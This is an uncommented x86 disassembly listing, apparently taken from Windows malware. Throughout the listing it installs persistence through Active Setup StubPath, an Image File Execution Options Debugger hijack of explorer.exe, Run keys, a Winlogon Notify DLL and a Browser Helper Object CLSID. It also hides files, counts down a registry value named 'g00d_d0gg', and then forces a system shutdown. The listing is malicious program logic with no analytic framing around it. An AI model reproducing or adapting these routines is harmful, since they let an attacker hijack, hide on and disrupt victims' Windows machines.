add esp, 0x14
test eax, eax
jne 0x405f98
mov eax, dword [esp + 0xb68]
call fcn.00401cc1
mov dword [esp + 0xb5c], 1
lea eax, [esp + 0xb5c]
sub esp, 8
push 4
push eax
push 4
push 0
push str.IsInstalled
push dword [esp + 0xb84]
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 4
push ebp
call sub.KERNEL32.dll_lstrlenA
sub esp, 0xc
inc eax
push eax
push ebp
push 1
push 0
push str.StubPath
push dword [esp + 0xb94]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 0xc
push dword [esp + 0xb74]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
cmp dword [esp + 0x14], 0
je 0x40601d
sub esp, 8
push 0x21
lea ebx, [esp + 0x1088]
push ebx
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 0xc
lea eax, [esp + 0xb7c]
push eax
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Optionsexplorer.exe
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyA
add esp, 0x14
test eax, eax
jne 0x4060a4
mov eax, dword [esp + 0xb68]
call fcn.00401cc1
sub esp, 0xc
push ebx
call sub.KERNEL32.dll_lstrlenA
sub esp, 0xc
inc eax
push eax
push ebx
push 1
push 0
push str.Debugger
push dword [esp + 0xb94]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 0xc
push dword [esp + 0xb74]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
jmp 0x4060a4
sub esp, 0xc
lea ebx, [esp + 0xb74]
push ebx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
add esp, 0xc
test eax, eax
je 0x406066
sub esp, 0xc
push ebx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
add esp, 0xc
test eax, eax
jne 0x4060a4
sub esp, 0xc
lea ebx, [esp + 0x1394]
push ebx
call sub.KERNEL32.dll_lstrlenA
sub esp, 0xc
inc eax
push eax
push ebx
push 1
push 0
push dword [0x412090]
push dword [esp + 0xb94]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 0xc
push dword [esp + 0xb74]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
cmp dword [esp + 0x1c], 0
je 0x40628f
sub esp, 0xc
push 0
lea ebx, [esp + 0xb78]
push ebx
push 0x40f4fc
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvanced
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
je 0x40610e
sub esp, 0xc
push 0
push ebx
push 0x40f4fc
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvanced
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
jne 0x406145
lea eax, [esp + 0x606]
sub esp, 8
push 0x22a
push eax
push 3
push 0
push str.ShellRegEx
push dword [esp + 0xb84]
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 4
push dword [esp + 0xb74]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
sub esp, 8
push 0x21
lea ebx, [esp + 0xc80]
push ebx
call sub.KERNEL32.dll_SetFileAttributesA
add esp, 8
cmp dword [0x4120e0], 2
jne 0x4061ef
sub esp, 4
lea eax, [esp + 0xb6c]
push eax
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonNotifyBC84DF00_BC38_9902_8082_6FCBF2D87A0B
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyA
add esp, 4
test eax, eax
jne 0x40628f
mov eax, dword [esp + 0xb68]
call fcn.00401cc1
sub esp, 0xc
push ebx
call sub.KERNEL32.dll_lstrlenA
sub esp, 0xc
inc eax
push eax
push ebx
push 1
push 0
push str.DLLName
push dword [esp + 0xb94]
call sub.ADVAPI32.DLL_RegSetValueExA
push 8
push str.Startup
push 1
push 0
push str.Startup
push dword [esp + 0xb94]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 0xc
push dword [esp + 0xb74]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
jmp 0x40628f
sub esp, 4
lea edi, [esp + 0xb6c]
push edi
push str.CLSIDF1ACE452_91D3_FF14_6B60_AD3718D5C8FCInProcServer32
push 0x80000000
call sub.ADVAPI32.DLL_RegCreateKeyA
add esp, 4
test eax, eax
jne 0x40628f
sub esp, 0xc
lea ebx, [esp + 0xc80]
push ebx
call sub.KERNEL32.dll_lstrlenA
sub esp, 0xc
inc eax
push eax
push ebx
push 1
push 0
push 0
push dword [esp + 0xb94]
call sub.ADVAPI32.DLL_RegSetValueExA
push 5
push str.Both
push 1
push 0
push str.ThreadingModel
push dword [esp + 0xb94]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 0xc
push dword [esp + 0xb74]
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 8
push edi
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser_Helper_ObjectsF1ACE452_91D3_FF14_6B60_AD3718D5C8FC
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyA
add esp, 0x14
test eax, eax
jne 0x40628f
sub esp, 0xc
push dword [esp + 0xb74]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
sub esp, 8
push 0x21
lea eax, [esp + 0x1394]
push eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 4
push 0x3e8
call sub.KERNEL32.dll_Sleep
inc esi
add esp, 0xc
cmp esi, 0x3c
jne 0x405eb5
sub esp, 0xc
push 0
lea eax, [esp + 0x3e4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvanced
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
jne 0x405ea1
mov dword [esp + 0x3cc], 4
lea ebx, [esp + 0x3d0]
sub esp, 8
lea eax, [esp + 0x3d4]
push eax
push ebx
push 0
push 0
push str.g00d_d0gg
push dword [esp + 0x3f0]
call sub.ADVAPI32.DLL_RegQueryValueExA
add esp, 8
test eax, eax
jne 0x4063c0
mov eax, dword [esp + 0x3d0]
dec eax
mov dword [esp + 0x3d0], eax
test eax, eax
je 0x406360
sub esp, 8
push 4
push ebx
push 4
push 0
push str.g00d_d0gg
push dword [esp + 0x3f0]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 8
jmp 0x4063c0
sub esp, 8
push str.g00d_d0gg
push dword [esp + 0x3e0]
call sub.ADVAPI32.DLL_RegDeleteValueA
sub esp, 4
push 0x1388
call sub.KERNEL32.dll_Sleep
add esp, 0xc
cmp dword [0x4120e0], 2
jne 0x4063b1
lea eax, [esp + 0x3d8]
push eax
push 0
push 1
push 0x13
call dword [0x412230]
sub esp, 0xc
push 1
call dword [0x412220]
add esp, 0xc
jmp 0x4063c0
sub esp, 8
push 0
push 6
call sub.USER32.dll_ExitWindowsEx
add esp, 8
sub esp, 0xc
push dword [esp + 0x3e0]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
jmp 0x405ea1
sub esp, 0xc
push dword [esp + 0xb78]
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
jmp 0x403bf1
sub esp, 0xc
push dword [esp + 0xb70]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
jmp 0x4047ad
sub esp, 0xc
push esi
call sub.KERNEL32.dll_CloseHandle
mov edi, 0
add esp, 0xc
jmp 0x404640